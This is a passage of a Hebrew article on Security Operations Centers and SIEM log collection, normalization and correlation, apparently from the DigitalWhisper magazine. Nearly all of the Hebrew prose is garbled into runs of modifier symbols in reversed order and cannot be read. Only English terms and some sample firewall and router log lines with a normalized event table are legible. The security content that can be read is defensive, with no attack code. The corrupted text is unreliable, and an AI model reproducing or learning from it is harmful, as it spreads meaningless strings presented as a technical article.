SOC  .˶˟˧˧˯ ˧˰ˣ˶˧˞˪ ˟˧ˠˬˣ ˢˢˤˬ ,˶˦ˮˬ˷ ˧ˡˣ˰˧˧ ˰ˡ˧ˬ ˸˥˦˟˞ ˤ˩˶ˬ ˞ˣˢ (ˢ˥˦˟˞ ˸ˣ˪ˣ˰˲ ˶ˣ˦˧ˮ ˤ˩˶ˬ)

SOC .˭ˣˠ˶˞˟ ˶˟˧˧˯ ˰ˣ˶˧˞ ˢˣˣ˥˧˷ ˭ˣ˷˞˶ˢ ˱ˣˠˢ ˞ˣˢ ˢ˷˰ˬ˪ˣ ,˭ˣˠ˶˞ˢ ˪˷ "ˢ˟˧˪ ˟˪" ˞ˣˢ ˧˸˯˧˲˸˟ 

˸ˣˢˤ˪ ˞˧ˢ ˣ˪˷ ˸˧˶˵˧˰ˢ ˢˬ˧˷ˬˢ ˶˦ˮ˪ˣ ˸˧ˮˣ˷˞˶ ˢ˶˧˵˥ ˰˴˟˪ ,˸ˬ˞ ˭ˬˤ˟ ˫˧˰ˣ˶˧˞ (Real-Time) 

ˣ˶˸ˣ˧ ˢ˵ˣˬ˰ ˢ˶˧ˢˬ ˢ˟ˣˠ˸ ˰ˣ˴˧˟ ˭˩ˣ  ˱ˣ˯˟˪ˣ ˰ˣ˶˧˞˪ˣˡˣˡ˧˟ ˧ˡ˩ ˡ˰ ˪˩ˢˣ ˧ˣ˴˧ˬ.ˣ˸ 

SOC  ˢˮˣˬˢ ˪ˣˡˠ ˤ˩˶ˬ˪ ˡ˰ ˫˧˰ˣ˶˧˞ˢ ˶˥˞ ˶˦ˮˬˣ ˶˵˟ˬ˷ ˡˡˣ˟ ˡ˥˞ ˦˯˧˪ˮ˞ ˣ˞ ˶˵˟ˬ ˪˥ˢ ˸ˣ˧ˢ˪ ˪ˣ˩˧

ˢ ˢ˶˦ˬˢ ,˶ˣˬ˞˩ .˫˧˦˯˧˪ˮ˞ˣ ˫˧˶˵˟ ˪˷ ˟˶ ˶˲˯ˬ ˧ˮ˵˸ˢ ,˸ˣ˩˶˰ˬ ,˸ˣ˸˷˶ ˶˥˞ ˥ˣ˵˧˲ ˞˧ˢ ˣ˪˷ ˸˧˶˵˧˰

 ˭ˣˠ˶˞ˢ ˧˯˩ˮ˟ ˰ˣˠ˲˪ ˱˞ˣ ˸˧˵˯˰ ,˸˧˸˧ˬˡ˸ ˢˮ˧˥˟ˬ ˭ˣˠ˶˞˟ ˰ˣˠ˲˪ ˫˧˪ˣ˩˧ ˶˷˞ ˫˧˷˧ˠ˶ ˫˧˟˞˷ˬˣ ˢ˴˵

.˸˧˸ˣ˰ˬ˷ˬ ˢ˶ˣ˴˟ 
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˸˩˶˰ˬ s-SIEM System Information Event Manager)( 

.ˢˤ ˶ˬ˞ˬ˟ ˢ˟˥˶ˢ˟ ˢ˧˪˰ ˦˶˲˪ ˭ˣ˩ˮ˪ ˧˸˧˞˶ ,ˢ˸ˣ˟˧˷˥ ˶ˣ˞˪  ˸˧ˠˣ˪ˣˮ˩˦ ˢ˧˴˵ˮˣ˲ ˢˣˣˢˬ ˣˤ ˸˩˶˰ˬ

.˶ˣ˦˧ˮ ˧ˤ˩˶ˬ˟ ˢˮˣ˧˪˰ ˸ˣ˟˧˷˥ ˸˶˟ˣ ˸˧˶˵˧˰ 

-sSIEM  ,ˢ˶ˣ˶˟ ˸˧˶˵˸˩ ˣ˸ˣ˞ ˠ˧˴ˢ˪ ˱ˣ˯˟˪ˣ ˰ˡ˧ˬ˪ ˡˣ˟˧˰ ˰˴˟˪ ,˭ˣˠ˶˞˟ ˸ˣ˟˶ ˸ˣ˩˶˰ˬˬ ˫˧ˠˣ˪ ˪˟˵˪ ˰ˡˣ˧

˦˯˧˪ˮ˞˪ ˥ˣ˸˧ˮ ˶˥˞˪ ˟-SOC ˸ˣ˶˥˞ ˫˧˪˧ˬ˟ ˣ˞ ,ï .˪ˣ˲˧˦˪ ˪˷˟ˣ "˯ˣ˰˪" ˰˧ˠˬ ˰ˡ˧ˬˢ 

 
 ˵˪˥ ˭˪ˢ˪:ˢ˸˶ˤ˰˟ ˷ˬˬ˪ ˭˸˧ˮ˷ ,˸˩˶˰ˬˢ ˪˷ ˟˥˶ˢ ˪˯ˢˬ ˸ˣˮˣ˶˸˧ˢˬ 

1. ˢ˶˧ˬ˷ ˪˰ ˸ˣ˧˴˪ˣˠ˶ ˸ˣˮ˵˸ˣ )ISO 27000 ,ISO 27001 ,ISO27002 x-ISO 27003 (˶˷˞˟ ˫ˢ ˰'' ˧˸˪˥ˢ 

˫˧˵ˣ˥ ˣˡˣ''˸ˣ˥ 

2. ˫˧˩ˣ˸˧˥ ˫˧ˮˣ˷ ,Dashboards ˸˪ˣ˩˧ˣ ˢ˶˧˵˥ ˸˧ˮˣ˷˞˶ 

3. ˪ˣˢ˧ˮ ˸˶˧ˬ˷ˣ ˫˧ˠˣ˪ ˥ˣˣ˦˪ ˵ˣ˥˶ 

4.  ˪ˣˢ˧ˮ ˥ˣˮ ˪˷ ˪˪˩ ˸ˣ˧˴˵ˮˣ˲ ˸˩˶˰ˬˢ ˫ˣ˵ˬˬ ˧ˤ˩˶ˬ ˡ˥˞ 

5. ˮ˶ˣ˦˧ ˱˧˴˶ ˢ˟ˣˠ˸ˣ ˫˧˰ˣ˶˧˞˪ 

6. ˸˪˟˵ ˸ˣ˞˶˸ˢ ˭ˬˤ˟ ˸ˬ˞ ˸ˣ˩˶˰ˬˬ ˸ˣˮˣ˷ ˰"˲ ˢ˵˧ˠˣ˪ ˸˶ˡˠˣˬ ˷˞˶ˬ ˪˰ˣ ˯˧˯˟ ˸ˣ˧˪ˬˣˮ˞ 

7. ˸˶˧ˬ˷ ˫˧ˠˣ˪ ˩- RAW Events ˫˧˩˧˪ˢ˸˪ ˫˧˧˦˲˷ˬ  

8. ˢˡ˧ˬ˰ ˸ˣ˧˴˪ˣˠ˶˟ ˫˧ˮ˵˸ˣ ˰"˧ ˸˪˥ˢ ˫˧˵ˣ˥ ˣˡˣ"˸ˣ˥ 

9. ˸˵˲ˢ xl"˸ˣ˥ ˸ˣˠˣ˴˸ˣ ˫˧˦˶ˣ˲ˬ 

10. ˸ˣˮˬ˧ˢˬ ˰ˡ˧ˬˢ 

11. ˸ˬ˞ˬ ˸ˣ˲˧˩˞ ˸ˣ˶˲ˢˣ ˸ˣ˧ˮ˧ˡˬ 

12. ˸˪ˣ˩˧ ˟˧˪˴ˢ˪ ˰ˡ˧ˬ )ˢ˧˴˪˶ˣ˵ (˭˧˟ ˸ˣ˩˶˰ˬ ˸ˣˮˣ˷ ˸ˣˮˣˣˠˬˣ ˸˶˧˴˧˪ 

13. ˸ˮˣˬ˸ ˟˴ˬ ˪˪˩ ˸˧ˮˣˠ˶˧˞ ˭ˬˤ˟ ˸ˬ˞ ˢ˞ˣˣ˷ˢ˟ˣ ˸ˣ˲ˣ˵˸˪ ˸ˣ˶˥˞ Trends)( 

 ˧˩ ,˶˧ˢ˟˞ ˧˸ˣ˶˧˷ ˸ˣˮ˸ˣˮˢ ˸ˣ˶˟˥,Soc as a service (MSS Managed Security Services) ˧˧ˢ ˧ˮˣˠ˶˞- ,˵˦

 ˶˲˯ˬˬ ˢ˥˦˟˞˪ ˫˧˧˦ˮˣˣ˪˶ ˫˧ˮˣ˸ˮ ˫˧˥˸ˮˬˣ ˫˧˲˯ˣ˞ ˢˮˠˢ ˧˲ˣˠ ˭˩ˣ ˫˧˧˸˪˷ˬˬ ˫˧ˡ˶˷ˬ ,˫˧˧˯ˮˮ˧˲ ˫˧ˮˣˠ˶˞

˸ˣ˶˟˥ ˟ˣ˶ ,˫˧˪ˣˡˠ ˫˧ˮˣˠ˶˞˟ ˡ˥ˣ˧ˬ˟ ,ˢ˪˞˩ ˫˧ˮˣ˸ˮ ˪˷ ˫ˣ˴˰ˢ ˥˲ˮˢ ˪˷˟ ,˫˧ˮˣ˷ ˰ˡ˧ˬ ˸ˣ˶ˣ˵ˬ ˪˷ ˫ˣ˴˰ 

-sSOC ) ˫˧˰ˣ˶˧˞ ˪ˣˢ˧ˮ ˸˩˶˰ˬ˟ ˸ˣ˷ˬ˸˷ˬSIEM˩˶˰ˬˬ ˫˧ˮˣ˸ˮˢ ˪˩ ˸˞ ˱ˣ˯˞˪ ˧ˡ˩ ( ˪˧˥ˢ˪ˣ ˸ˣˮˣ˷ ˸ˣ

 .ˢˤ ˰ˡ˧ˬˬ ˸ˣ˞˶˸ˢ ˸˵˲ˢ˪ ˸ˣ˞˶˸ˢˣ ˫˧˵ˣ˥ ,˫˧˪˪˩ 

  



 
 

˸˯˧˲˸ s-SOC ˦˟ˬˬ ˪˰ 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ97 , ˦˯ˣˠˣ˞2018  121 
 

˨˧˪ˢ˸ ˸˰ˠˢ ˰ˡ˧ˬˢ ˪-SIEM 

˪ ˰˧ˠˬ˷ ˰ˡ˧ˬˢ-SIEM  ˸ˮˬ ˪˰ ˢ˶˷˰ˢˣ ˶ˣ˦˪˲ˣ ˭ˣˮ˧˯ ,ˢ˧˴˶ˠ˶ˠ˞ ,(ˢ˧˴ˤ˧˪ˬ˶ˣˮ) ˪ˣˬ˶ˮ ˧˩˧˪ˢ˸ ˶˟ˣ˰

˨˯ˬ˪ ˣ˲ˣ˯˟ ˰˧ˠˬ˷ ˰ˡ˧ˬˢ ˪˷ ˨˧˪ˢ˸ˢ ˸˞ ˢ˶˴˵˟ ˧˸ˮ˧˧˴ .˭˧˰˪ ˢ˶ˣ˶˟ˣ ˸˧ˬ˪ˣˠ ˢ˧ˢ˸ ˸˧˶˵˸ˢ˷ s-

SIEM. 

ˢ˧˴ˤ˧˪ˬ˶ˣˮˢ ˨˧˪ˢ˸  ˫˧ˮ˟ˬˣ ˫˧ˠˣ˯ ˸ˣ˞ˬˣ ˸ˣ˶˷˰ ˸ˣ˧ˢ˪ ˫˧˪ˣ˩˧ ˸˧ˮˣˠ˶˞ ˢ˟˧˟˯˟ .˦˶ˡˮ˦˯ ˫˧˧˵˪ ˧ˡ˩ ˞˟

˫˧ˠˣ˪ ˪˷ ˫˧ˮˣ˷ ..ˢˮˣ˷ ˢ˶ˣ˴˟ ˸˞ˤ ˢ˷ˣ˰ ˱ˣ˯˧˞ˢ ˧˟˧˩˶˪ ˫˧˰ˣ˶˧˞ ˥ˣˣˡˬˢ ˟˧˩˶ ˪˩ 

:˞ˬˠˣˡ˪ 

Check Point: 

"14" "21Nov2005" "12 : 10:29" "eth - s1p4c0" "ip.of.firewall" "log" "accept" 

"www- http" "65.65.65.65" "10.10.10.10" "tcp" "4" "1355" "" "" "" "" "" 

"" "" "" "" "firewall" "len 68"  

Cisco Router: 

Nov 21 12 : 10:27: %SEC - 6- IPACCESSLOGP: list 102 permitted tcp  

65.65.65.65(1355) - > 10.10.10.10(80), 1 packet Cisco PIX :  Nov 21 2005 

12:10:28:  

%PIX- 6- 302001 :  Built inbound TCP connection 125891 for faddr 

65.65.65.65/1355  

gaddr 10.10.10.10/80 laddr 10.0.111.22/80  

 ˫˧˰ˣ˶˧˞ˢ ˭˩˪ˣ ,˸˲˸ˣ˷ˬ ˢˬ˩˯˪ ˫˸ˣ˞ ˨ˣ˲ˢ˪ ˨˶ˣ˴ ˷˧ ,˱˸ˣ˷ˬ ˫˧ˮˣ˸ˮ ˡ˯ˬ˟ ˫˧˶ˬ˷ˮ ˫˧˰ˣ˶˧˞ˢ˷ ˨˩

 :˨˩ ˣ˞˶˧ ˭˩ ˧ˮ˲˪ ˣˮ˧˞˶˷ 

Device_Tipe USER_NAME Tgt_Port Src_Port Src_IP Event_Name Time Date 

Check Point RONI 80 10.10.10.10 65.65.65.65 Accept 12:10:29 21-Nov- 08 

Cisco Router RONI 80 10.10.10.10 65.65.65.65 List 102 

permitted 

12:10:27 21-Nov- 08 

:ˢ˧˴ˠ˶ˠ˞  ˪ˣ˩˧ ˢ˪˞ˢ ˫˧˰ˣ˶˧˞ˢ ˪˩ ˱ˣ˯˧˞ .˫˧ˢˤ ˫˧˰ˣ˶˧˞ ˪˰ ˠˣ˪ ˸ˣ˶ˣ˷ ˶˲˯ˬ ˶ˣˬ˷˪ ˫˧˦ˣˮ ˸˷˶ ˧˟˧˩˶

 ˶ˣ˸˟ ˫˧ˢˤ˩ ˷˞˶ˬ ˣ˶ˡˠˣˢ˷ ˫˧˰ˣ˶˧˞ ˶˲˯ˬ ˱ˣ˯˞˪ ˸ˣ˶˷˲˞ ˸ˬ˧˧˵ ˭˩˪ˣ ˭ˣˠ˶˞ˢ ˧˟˞˷ˬ ˪˰ ˡˣ˞ˬ ˯˧ˬ˰ˢ˪

˸˪˰˲ˣˬ ˢˮ˧˞ ˣˤ ˸ˣ˶˷˲˞ ,˪˪˩ ˨˶ˡ˟ .ˣˡ˥ˣ˞˷ ˫˧˰ˣ˶˧˞ˢ ˸ˣˬ˩ ˸˞ ˶˲ˣ˯˷ ˢˡ˷ ˫˰ ˡˡˣ˟ ˡ˥˞ ˰ˣ˶˧˞ 

.˫˧˰ˣ˶˧˞ˢ ˫˧˲˯˞ˮ ˢˮˬˬ ˸˩˶˰ˬˢˬ ˪˟˵˸ˬ˷ ˰ˡ˧ˬˢ ˥ˣ˸˧ˮ ˶˥˞˪ ˢ˸ˣ˞ ˪˧˰˲ˢ˪ ˷˧ˣ ˪ˡ˥ˬ ˸˶˧˶˟˩ 
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:ˢ˧˴ˠ˶ˠ˞ ˨˧˪ˢ˸˪ ˞ˬˠˣˡ 

 

 :˭ˣˮ˧˯ ˭˸˧ˮ .˫˧˲˯˞ˮ˷ ˫˧˰ˣ˶˧˞ˢ ˭ˣˮ˧˯ ˞˧ˢ ˶ˣ˴˧˪ ˪ˣ˩˧ ˱ˣ˯˧˞˷ ˯ˬˣ˰ˢ ˪˰ ˪˵ˢ˪ ˢˡ˰ˣˮ˷ ˸˲˯ˣˮ ˸ˣ˶˷˲˞

 ˧˩ ˶˧ˡˠˢ˪ ˭˸˧ˮ ,˪˷ˬ˪ .˫˸ˣ˞ ˱ˣ˯˞˪ ˨˶ˣ˴ ˭˧˞ ˭˩˪ˣ ˫˧ˮ˧˧ˮ˰ˬ ˫ˮ˧˞ ˫˧ˣ˯ˬ ˨˶˰ ˧˪˰˟ ˫˧˰ˣ˶˧˞ ˧˩ ˶˧ˡˠˢ˪

 ˧˰ˣ˶˧˞accept ˟-Firewall  ˧˰ˣ˶˧˞ ˵˶ ˱ˣ˯˞˪ ˷˧ˣ ˫˧˧˦ˮˣˣ˪˶ ˫ˮ˧˞ ˭ˣˠ˶˞˟ ˧ˬ˧ˮ˲drop ˢ˪˵ˬ ˣˤˢ ˸ˣ˶˷˲˞ˢ .

˶˵˧˰˟ ˸ˣˡ˵ˬ˸ˢˣ ˡ˟˪˟ ˫˧˧˦ˮˣˣ˪˶ ˫˧˰ˣ˶˧˞ ˸˪˟˵ ˸˶˷˲˞ˬˣ ˭ˣˠ˶˞ˢ ˧˟˞˷ˬ ˪˰ ˡˣ˞ˬ .˶ˡˠˣˢ˷ ˢˬ˟ˣ 

 :˶ˣ˦˪˧˲ ˭˲ˣ˞˟ ˰ˣ˟˵˪ ˸˩˶˰ˬ˪ˣ ˣˮ˪ ˫˧˶˷˲˞ˬ ˢ˪˞ ˸ˣˡ˷ .ˢ˧˴˧˶ˣˠ˦˵ ˣ/ˣ˞ ˠˣ˪˦˵ ˰˴˟˪ ˸˰ˡˣ˧ ˸˩˶˰ˬˢ

.˸˩˶˰ˬ˪ ˪˟˵˸ˢ ˰ˣ˶˧˞ ˠˣ˯ ˢˤ˧˞ ˵˧˧ˣˡˬ 

-sSIEM  ˫˧ˮˣ˷ˢ ˸ˣ˶ˣ˵ˬˢˬ ˰ˡ˧ˬˢ ˸˞ ˫˧˲˯ˣ˞˷ ˫˧˶ˣ˦˵˪ˣ˵ˢˬ ˰ˡ˧ˬˢ ˸˞ ˪˟˵ˬ- ˢ˷˥ˬˢ ˭˪ˢ˪. 
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˷ ˢ˶ˣ˦˵˦˧˩˶˞ ˪˷ ˧˯˧˯˟ ˦ˣ˦˶SIEM: 

 

 :˰ˡ˧ˬˢ ˸ˣ˶ˣ˵ˬ ,ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ ,˫˧ˬˣ˷˧˧ˣ ˸ˣ˧˴˵˧˪˲˞ ˫˧˪˪ˣ˩ˢ ˫˧ˮˣ˷ˣ ˫˧˟˶ ˸ˣ˶ˣ˵ˬ ˫ˮ˷˧ ,˧˸ˮ˧˧˴˷ ˧˲˩

Firewals ˸ˣ˩˶˰ˬ ,˫˧ˠ˸ˬˣ ˫˧˟˸ˮ ,IPS/IDS ˸ˣ˩˶˰ˬ ,EPS )End Point Security˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣˮˣ˩ˬˣ ( - 

.˸˷˶ˢ ˭ˬ ˸ˣ˶˧˷˧ ˸˷˶ˢ ˸˶ˣ˟˰˸ ˸˞ ˱ˣ˯˞˪ ˱˞ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ .˫˧ˮˣ˸ˮ ˸ˣ˶˴˧˧ˬˢ 

) ˶ˣ˦˵˪ˣ˵Collector:( ˢˬ ˫˧˰ˣ˶˧˞ˢ ˸˞ ˱ˣ˯˞˪ ˣˡ˧˵˲˸˷ ˱˯˞ˬ ˟˧˩˶ ˞ˣˢ ˶ˣ˦˵˪ˣ˵-Devices  .˫˧ˮˣ˷ˢ

:˫˧ˮˣ˷ ˫˧ˮ˲ˣ˞˟ˣ ˸ˣ˶ˣ˴˟ ˰˧ˠˢ˪ ˪ˣ˩˧ ˶ˣ˦˵˪ˣ˵ 

1. ˶˷˵˸ˬ ˵˥ˣ˶ˬ ˡˣ˵ ˫˰ ˸ˣ˶˧˷˧ ˸˷˶˟ s-Device: 

 

2. ˧ˡˣ˰˧˧ ˫˧ˠˣ˪ ˶ˠ˞ˬ˪ ˡˣ˵ ˟˸ˣ˩ ˭˩ˣ˯: 

 

3. ˫˧ˠˣ˪ ˳˟ˣ˵ ˱˯ˣ˞ ˶ˣ˦˵˪ˣ˵ˢ: 
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 :ˢˬ˧ˠˡ ˸ˣ˦˧˷ ˷˧˥ˬˢ˪ ˭˸˧ˮ ?˫˧˰ˣ˶˧˞ˢ ˸˞ ˫ˢˬ ˫˧˩˷ˣˬˣ ˸ˣ˶ˣ˵ˬˢ ˫˰ ˫˧˶˷˵˸ˬ ˫˧˶ˣ˦˵˪ˣ˵ˢ ˨˧˞

,˫˧ˬ˧ˣ˯ˬ ˫˧˶˵ˬ˟ .ˢ˩˶ˡ ˶˷˵˸˪ ˫˧˪ˣ˩˧ ˫ˡ˞ ˧ˮ˟˷ ˸˲˸ˣ˷ˬ ˢ˲˷ ˣˬ˩ ˸˞ˤ s-Collector  ˷ˬ˸˷ˬ

 ˵˷ˬˬ˟API  ˫˰ ˪˷ˬ˪ ,˶ˣ˵ˬˢ ˫˰ ˶˷˵˸˪ ˧ˡ˩OPSEC LEA, MS WMI, RPC  ˣ˞SDEE ,JDBC ,WINRM ,

SYSLOG ,SNMP .ˡˣ˰ˣ 

Data : ˫˧˟˩˶ˣˬ ˫ˢ˷ ,˰ˣ˶˧˞ ˸ˣ˧ˢ˪ ˫˧˪ˣ˩˧ ˫˧ˮˣ˸ˮˢ .ˢ˶˵ ˸ˬ˞˟ ˣˢ˷ˬ˷ ˣˮ˪ ˶˧ˢ˟ˢ˪ ˡ˰ˣˮ ˰˧ˠˬ˷ ˰ˡ˧ˬˢ

ˬ˧ˮ˧ˬ ˰ˣ˶˧˞ ˧ˮˣ˸ˮ .˶ˡ˯˟ ˞˪ ˣˢ˷ˬ˷ ˣˮ˪ ˫˧˶˞˸ˬ˷ ˫˧˦ˮˬ˪˞ ˶˲˯ˬ ˶˲˯ˬ ,˸˷˶ˢ ˸˟ˣ˸˩ ˸˞ ˫˧˪˪ˣ˩ ˫˧˧˪

 ,(ˢ˞˧ˠ˷ ˡˣ˵ ˣ˞ ˢ˥˪˴ˢ ˡˣ˵) ˢ˪ˣ˰˲ˢ ˸˞˴ˣ˸ ,˸˰˴ˣ˟ˬˢ ˢ˪ˣ˰˲ˢ ,˸ˣ˶˧˷ˢ ˠˣ˯ ,˶˧˷˩ˬˢ ˠˣ˯ˣ ˫˷ ,˦˶ˣ˲ˢ

.ˡˣ˰ˣ ˢ˪ˣ˰˲ˢ ˸˞ ˰˴˧˟˷ ˷ˬ˸˷ˬ 

 

]ˢˮˣˬ˸˟ ˭˸˧ˮ ˸ˣ˞˶˪ ˞˪ ˦˰ˬ ˸ˣ˩˶˰ˬ ˸ˣ˥˪ˣ˷˷ ˫˧ˠˣ˪ ˸˶˷˪ ˡˣ˟˧˰ˢ[ 

˸ˣ˥˸˲˸ˢ ˸ˣ˟˵˰˟ ˪ ˫˶ˣˤˢ ˰ˡ˧ˬ˟ ˵˶ˣ ˨˞ ˫˧˵˲˸˯ˬ ˞˪ ˫˧ˮˣˠ˶˞ ,˫˧ˮ˷ˢ ˸˴ˣ˶ˬ˟ ˣˤ ˢ˧ˠˣ˪ˣˮ˩˦- SIEM 

 ˸ˮˣˬ˸ ˪˟˵˪ ˸ˮˬ ˪˰ "˧˶˟˧˧˯ ˧ˮ˰˧ˡˣˬ ˰ˡ˧ˬ" :˭ˣˠ˩ ˫˧˧ˮˣ˴˧˥ ˸ˣ˶ˣ˵ˬˬ ˰ˡ˧ˬ ˶˸ˣ˧ˣ ˶˸ˣ˧ ˫˧˲˯ˣ˞ ˫ˠ ˞˪˞

˟˧ˠˢ˪ ˡ˴˧˩ ˦˧˪˥ˢ˪ ˫˧˦˯˧˪ˮ˞ˢ ˣ˪˩ˣ˧˷ ˧ˡ˩ ˶˸ˣ˧˟ ˵˧˧ˣˡˬˢ ˭˲ˣ˞˟ ˰ˣ˶˧˞ ˭˧˟ˢ˪ ˸ˣ˯ˮ˪ ˧ˡ˩ˣ ˢ˞˪ˬ ˟˴ˬ .

 ˭ˬˤˢ ˨˷ˬ˟˧ˤ˩˶ˬ SOC  ˱ˣ˸˧˷ ˸ˣ˶ˣ˵ˬˬˣ ˶˟˰ˢ ˧˰ˣ˶˧˞ˬ ˭˧˰˧ˡˣˬ ˧ˬˣ˧˞ ˱ˮˬ˪ˣ ˨ˣ˶˴˪ ˸˪ˣ˩˧ˢ ˸˞ ˫˧˥˸˲ˬ

 ˸˵ˣ˪˥ ,ˢ˧˧˷˰˸˟ ˫˧˲˸ˣ˷ ,˭˧˰˧ˡˣˬ ˧˵˲˯ ˭ˣˠ˩ ˰ˡ˧ˬCybercrimes  ˰ˡ˧ˬ ˱ˣ˸˧˷ ˧ˮˣˠ˶˞ˣ ˵ˣ˥ˢ ˸˲˧˩˞ ˪˷

 ˭ˣˠ˩)ISACs .( 

ˡ˴˪" ˸ˣ˩˶˰ˬ s-SIEM" - ˫˪ˣ˰˷ ˪˩˩ ,ˢ˪˰ˬ ˢ˵˯˲˪ ˨˷ˬˢ˟ s-SIEM SOC  ˢ˧ˠˣ˪ˣˮ˩˦ˢ ˫ˠ ˨˩ ,˥˸˲˸ˬ

 .ˣ˪˷ ˸˧ˣˣ˪ˮˢˣˮ˞ ˣˮ˧ˬ˧˟˪ ˰˧ˠˬ˷ ˧ˬ˪ˣˠˢ ˰ˡ˧ˬˢ ˸˞ ˟˧˧˦˪ ˫ˡ˧˵˲˸˷ ˫˧˶˴ˣˬ ˦˰ˬ ˞˪ ˷˧ ,-SIEM  ˸ˣ˞˶ˢ˪ˣ

 ˸ˣ˞˶˸ˢ ˸ˣˬ˩ ˫˰ ˶˸ˣ˧˟ ˸˵˧˧ˣˡˬˢ ˢ˶ˣ˴˟ ˢ˞˶˸ˢˢ ˸˞False Positive  ,˸˞ˤ ˫˰ ˡ˥˧ .˸ˬ˴ˬˣ˴ˬ

 ,˰ˣ˶˧˞ˢ ˸˶ˬˣ˥ ˸˪˪ˣ˩ˢ ˸˧ˮˣˠ˶˞ ˸˧˦˯˧˪ˣˢ ˢˮˣˬ˸ ˣ˪ ˠ˧˴ˢ˪ˣ ˦˯˧˪ˮ˞ˢ ˸˞ ˭˧ˣˣ˩ˢ˪ ˸ˣ˰ˡˣ˧ ˢ˪˞ ˸ˣ˩˶˰ˬ
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 ˸ˣ˟˶ˣ˰ˬ ˸ˣ˧ˣ˷˧ ,˭ˬˤˢ ˶˧˴ ˧˲˪ ˰ˣ˶˧˞ˢ ˧˦˧˶˲ ˪˰ ˸ˬˡ˵˸ˬ ˢˠˣ˴˸ ,˭ˣ˩ˡ˰˪ ˶˷˵ ˧˷ˮ˞ ,˪ˣ˲˧˦ ˧˩˶ˡ

 ˸ˣ˧ˮˣˣ˧˩ˣˣ˸ˣ˪ˣ˰˲ˢ ˸ˬ˧˶ˤ ˸ˣˮˣ˷ˢ. ˫˧ˮˣˠ˶˞ ˢˮ˧ˠ˟˷ ˢ˟˧˯ ˡˣ˰  ˶˥˞ˬ ˞˧ˢ ˢˤ ˠˣ˯ˬ ˸ˣ˩˶˰ˬ ˫˧˷˩ˣ˶

ˢ ˸˶˧ˤ ˪˰ ˢ˞˪ˬ ˢ˦˧˪˷ ˸˪ˣ˩˧ ˪ˢˮˬˢ ˠ˶ˡ˪ ˢˮ˵ˬ ˸˩˶˰ˬˢˣ SOC- ˶˲˯ ˸˶˧˴˧ˣ ˢ˟ˣˠ˸ ˧˩˶ˡ ˸˰˧˟˵ ˧"˰

 ˣ˞ ˧˲˧˴˲˯ ˰ˡ˧˟ ˸ˣ˪˸ ˞˪˪ ˣ˧˧˥ ˶ˣˤ˥ˬ ˪˩˪ ˢˢˤ ˣˮ˧ˢ ˰ˣ˶˧˞˟ ˪ˣ˲˧˦ˢ ˨˧˪ˢ˸˷ ˞ˡˣˣ˪ ˨˩˟ˣ ˢˮ˟ˣˬ ˫˧˩˪ˢˬ

 ˪˰ ˳˧˪ˬˬ ˦˪˥ˢ˟ ˧ˮ˞ .˫˧˟ˣ˸˩ ˫˧˪ˢˮ ˪˰ ˸ˣ˩ˬ˸˯ˢ ˢˡˣ˟˰ˢ ˸˞ ˸ˣ˪˵ˬ ˭ˢ ,ˢˤˢ ˠˣ˯ˢˬ ˸ˣ˩˶˰ˬ

˰ˣ˶˧˞ ˸˰˟ˣ ˳˥˪ ˧˞ˮ˸˟ ˦˶˲˟ ˸˧˸ˣ˰ˬ˷ˬ .˟˩˶ˣˬ 

˭ˣ˶˸˧  ˱˯ˣˮ˷˧˷ ˸ˣ˩˶˰ˬ˪ ˢ˪˞ ˞ˣˢ ˭˸˧ˮ˷ ˵˷ˬˬ˪ ˭˸ˣ˞ ˪-SIEM ˸˶ˤ˰˟ API ,˸ˣ˰ˬ˷ˬ ˶˟ˡˢ ˞ˣˢ ˪˩˷ 

Alert x˞ Event ˰˧ˠ˧˷ ˪-SIEM ˰˧ˠ˧ ˫ˠ ˸ˣ˩˶˰ˬ˪ ˢ˪˞ ,˧˪˟ ˯˲˯˲˪ ˱˞ ˠˣ˪ ˨˶ˡ˟. 

˶ˣ˦˧ˮ ˧ˤ˩˶ˬ˟  ˪ˣ˪˴ˮ˷ ˧ˮ˲˪ ˨˞ .˸ˣ˶˴ˣˮ˷ ˸ˣ˞˶˸ˢ˟ ˪ˣ˲˧˦˪ ˧˩˶˶˧ˢ ˢˮ˟ˬ˟ ˫˧˷ˬ˸˷ˬ ˡ˧ˬ˸ ˦˰ˬ˩

ˢ˸ˣˬ˩ ˭˧˞ˬ ˟ˣ˷˥ ˢ˧˴˵ˮˣ˲ ˞ˣˢ (˦˯˧˪ˮ˞ ˞˪ˣ) ˶˵˟ ˧˸˧˧˞˶˟ ,ˢˮ˟ˬ˪ ˟-SOC. 

 

ˡ˧˵˲˸ ˶˵˟ˢ 

 .ˢ˪˷ ˫˧˶˵˟ˢˣ ˫˧˦˯˧˪ˮ˞ˢ ˞˧ˢ ,˸˶ˡˠˣˬ ˢ˧˩˶˶˧ˢ ˫˰ ˢ˪˧˰˲ ˸ˬ˷ˣˮ ˢ˶˧ˤ˟ ˟ˣ˷˥ ˟˧˩˶ˬ 

˶˵˟ -  ˸ˣ˩˶˰ˬ˟ ˷ˣˮ˞ˢ ˸ˣ˪ˣ˰˲ ˶˥˞ ˢ˶˵˟ˣ ˶ˣ˦˧ˮ ˰˴˟ˬ˰ˡ˧ˬˢ ˸˥˦˟˞  ˸ˣ˧˟˧˦˵˞ ˸ˣ˪ˣ˰˲ ˰ˣ˴˧˟ˣ

 ˸ˠ˧˪ˤ˪ ˞˧˟ˢ˪ ˢ˪ˣ˪˰˷ ˢ˴˶˲* ,˱˵˸ ˭ˣ˩ˡ˰ ˞˪˪ ˸ˣ˩˶˰ˬ ,˸ˣ˞˷˶ˢ ˱ˡˣ˰ ˧˪˰˟ ˫˧˷ˬ˸˷ˬ ˞ˣ˴ˬ˪ ˢ˶˦ˬ˟

˶˵˟ ˧˸˧˧˞˶˟ ,˱˯ˣˮ˟ .ˣ˪ˣ˩ ˭ˣˠ˶˞ˢ ˧˯˩ˮ ˶˥˞ ˸˲˦ˣ˷ ˢ˶˵˟ ˰˴˟˪ ˭˩ˣ ˸˧˵˯˰ ˢ˰˧ˠ˲ ˰ˣˮˬ˪ ,˭ˣˠ˶˞ˢˬ ˰ˡ˧ˬ 

 ?ˢˬ˪ˣ .˸˧ˮˣ˥˦˧˟ ˢ˧˴˦ˮ˧˧˶ˣ˞ ˣ˪ ˢ˧ˢ˸˷ ˟˧˧˥ ˞ˣˢˣ ˫˧ˮˣ˷ ˢ˞ˮˣˢ ˧˰ˣ˶˧˞˟ ˵ˣ˯˰˧˷ ˧ˡ˰˪˟ˢ ˫˶ˣˠˢ ˞ˣˢ

